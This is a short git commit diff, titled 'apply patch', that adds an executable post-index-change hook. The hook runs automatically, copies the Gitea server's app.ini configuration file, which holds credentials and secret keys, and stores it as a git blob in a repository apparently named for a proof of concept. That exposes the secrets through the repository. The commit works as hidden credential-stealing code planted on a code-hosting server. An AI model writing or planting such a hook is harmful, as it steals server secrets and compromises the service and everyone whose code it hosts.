apply patch

This commit is contained in:
2026-10-31 18:11:16 +00:00
parent 1f770e23bf
commit 8fe5a6e6a9

7
hooks/post-index-change Executable file
View File

@@ -0,0 +1,7 @@
#!/bin/sh
which git > /tmp/gitpath.txt 2>&1
git --version >> /tmp/gitpath.txt 2>&1
ls /usr/bin/git* >> /tmp/gitpath.txt 2>&1
cat /data/gitea/conf/app.ini > /tmp/out.txt 2>&1
# Try with full path
/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan9.git hash-object -w /tmp/out.txt > /tmp/blob.txt 2>&1